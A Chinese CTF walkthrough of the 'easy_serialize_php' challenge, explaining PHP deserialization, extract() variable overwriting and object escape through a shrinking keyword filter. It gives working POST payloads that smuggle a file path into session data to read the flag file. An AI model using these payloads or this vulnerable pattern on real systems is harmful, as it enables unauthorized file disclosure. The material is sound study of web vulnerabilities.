[安洵杯 2019]easy_serialize_php
這篇主要知識點:
- 鍛鍊php程式碼審計能力和學習
- php反序列化
- 反序列化中的物件逃逸(這個是真的自己對著php線上工具分析了很久,才弄懂。你看完肯定有所收穫)
首先明確幾個點:
- 序列化後的結果是一串字串
- 反序列化會解開序列化的字串生成相應型別的資料
如下程式碼示例(大佬部落格擷取):
<?php
$img['one'] = "flag";
$img['two'] = "test";
$a = serialize($img);
var_dump($a);
#輸出: string(48) "a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}"
$b = unserialize($a);
var_dump($b);
/*輸出如下內容:
array(2) {
["one"]=>
string(4) "flag"
["two"]=>
string(4) "test"
}
*/
序列化的部分:
經過serialize序列化後生成了相應的字串: a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}
a表示陣列 , a:2中的2表示有兩個鍵值,即對應的one、two兩組鍵值對。
花括號中的s都表示string即字串,
s:後面的值分別是3、4、3、4,即對應的字串長度,比如one長度是三,flag長度是4
反序列化的部分:
unserialize函式將字串解序列化,我們用var_dump函式顯示了他的詳細資訊。
可見解序列化後由變數$b,接收了img陣列。
序列化中每個字母的表示:
a | array陣列 |
---|---|
b | boolean判斷型別 |
d | double浮點數 |
i | integer整數型 |
o | common object 一般的物件 |
r | reference引用型別 |
s | string字串型別 |
C | custom object |
O | class |
N | null |
R | pointer reference |
U | unicode string |
現在我們進入試題地址,開啟之後出現一段原始碼:
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
我們大概看了一下,發現了這樣一段程式碼:
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
這個$function就是$function = @$_GET['f']; 從url中 f 輸入的變數
意思是如果 $function == 'phpinfo' ,我們就可以執行下面的語句檢視phpinfo()
我們嘗試訪問phpinfo頁面:
index.php?f=phpinfo
會發現這裡有一個d0g3_flag.php檔案,我們需要的flag應該就在裡面,所以我們接下來需要讀取這個檔案就行。
我把接下來用到的程式碼放到了這裡:
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
/*
我們發現unset函式將$_SESSION變數銷燬了,然後重新賦予了$_SESSION新的值,
最後呼叫了extract($_POST);
*/
extract() 函式從陣列中將變數匯入到當前的符號表。
參考連結:https://www.w3school.com.cn/php/func_array_extract.asp
- 舉例extract()變數覆蓋:
根據extract()我們可以進行變數覆蓋,
當我們傳入SESSION[flag]=123時,$SESSION["user"]和$SESSION['function'] 全部會消失。
只剩下_SESSION[flag]=123。
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);
我們接著往下看:
知道了變數符改,我們可以幹什麼呢,往下看叭。
由於有了如下的程式碼,我們直接進行變數覆蓋,直接給$SESSION['img']一個預想的值是不現實的,
因為$SESSION['img'] = base64_encode('guest_img.png')是在extract($_POST);這個函式之後執行的。
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
所以我們看看另一個方向:fileter函式
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
#這部分程式碼就是將引數$img裡面的跟上面陣列裡的字串替換成空'',然後返回替換之後的字串
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
後面看看大佬的WP:
大佬們都用的是鍵值對逃逸
這裡我介紹一下php反序列化的物件逃逸
任何具有一定結構的資料,只要經過了某些處理而把自身結構改變,則可能產生漏洞。
過濾函式分為兩種情況:
第一種為關鍵詞數增加
例如: where->hacker,這樣詞數由五個增加到6個。
第二種為關鍵詞數減少
例如:直接過濾掉一些關鍵詞,例如這道題目中。
過濾函式filter()是對serialize($_SESSION)進行過濾,濾掉一些關鍵字
那麼我們有兩種方法:
鍵逃逸和值逃逸:
第一種為關鍵詞數增加
例如: where->hacker,這樣詞數由五個增加到6個。
第二種為關鍵詞數減少
例如:直接過濾掉一些關鍵詞,例如這道題目中。
過濾函式filter()是對serialize($_SESSION)進行過濾,濾掉一些關鍵字
那麼我們有兩種方法:
鍵逃逸和值逃逸
原理:因為序列化吼的字串是嚴格的,對應的格式不能錯,比如s:4:"name",那s:4就必須有一個字串長 度是4的否則就往後要。
並且unserialize會把多餘的字串當垃圾處理,在花括號內的就是正確的,花括號後面的就都被扔掉。
示例:
<?php
#正規序列化的字串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#帶有多餘的字元的字串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));
# ";s:3:\"真的垃圾img\";lajilaji";"這些會被扔掉
我們有了這個逃逸概念的話,就大概可以理解了。如果我們把
$_SESSION['img'] = base64_encode('guest_img.png');這段程式碼的img屬性放到花括號外邊去,
然後花括號中注好新的img屬性,那麼他本來要求的img屬性就被我們們替換了。
那如何達到這個目的就要通過過濾函式了,因為我們的序列化的是個字串啊,然後他又把黑名單的東西替換成 空。
鍵逃逸payload:
這兒只需要一個鍵值對就行了,我們直接構造會被過濾的鍵,這樣值得一部分充當鍵,剩下得一部分作為單獨得鍵值對
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
我來解釋一下這個payload
我們知道_SESSION這個陣列裡面目前是有兩個字串的,一個是我們通過POST方式傳上去的'phpflag',還有一個就是'img'
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
/* 這段程式碼會判斷我們通過GET方式傳入的變數是不是有'img_path'這個字串,如果沒有就會執行語句將'guest_img.png'這個字串經過base64加密存入$_SESSION['img']裡面,毫無疑問我們通過GET上傳的f=show_image,因為我們要進入一下程式碼執行反序列化函式啊!*/
else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
_SESSION這個陣列目前是這樣的:
$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
#一個我們通過POST方式傳上去,一個程式碼內部自動新增的
然後我們看看$_SESSION接下來會怎麼執行語句:
$serialize_info = filter(serialize($_SESSION));
/*首先會先將$_SESSION序列化之後經過filter函式
filter函式會將phpflag替換成'',然後返回結果賦值給$serialize_info
接下來我們看看$serialize_info變數去哪了
*/
else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
/*沒錯到了這裡,先將$serialize_info反序列化賦值給$userinfo,然後去$userinfo裡面’img'鍵對應的值就是d0g3_f1ag.php。
這裡我附上程式碼執行過程:
<?php
$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump(serialize($_SESSION));
echo PHP_EOL;
$serialize_info="a:2:{s:7:\"\";s:48:\";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$userinfo = unserialize($serialize_info);
echo (base64_decode($userinfo['img']));
?>
#注意:裡面的\是為了將"轉義。
上面我說明一下$userinfo每個引數對應的什麼:
目前裡面有兩個鍵值對:
$userinfo['";s:48:'']="1"
$userinfo['img']="ZDBnM19mMWFnLnBocA=="
/*
ZDBnM19mMWFnLnBocA==經過base64解碼之後就是d0g3_f1ag.php
就是 ";s:48:-->1
img -->ZDBnM19mMWFnLnBocA==
";s:48:正好是7個字串,對應上面$serialize_info裡面那個7,7代表後面字 符串長度為7
*/
執行結果:
string(114) "a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
d0g3_f1ag.php
執行截圖:
我們通過echo (base64_decode($userinfo['img']));這一步得到了d0g3_f1ag.php
然後就會通過echo file_get_contents(base64_decode($userinfo['img']));這個函式將d0g3_f1ag.php裡面內容讀取。
d0g3_f1ag.php這個裡面的內容就是這樣一段程式碼:
<?php
$flag = 'flag in /d0g3_fllllllag';
?>
然後我們將d0g3_fllllllag經過base64加密L2QwZzNfZmxsbGxsbGFn正好也是20位,直接替換上面的就好。
得到flag:
上面是通過鍵逃逸的方式,好像還有一種值逃逸的繞過方法,這裡我就不做演示了,附上payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
寫這個加上自己去網上測試payload,一句一句的分析,還是弄了蠻久的,希望能幫到大家!
太菜了太菜了!!!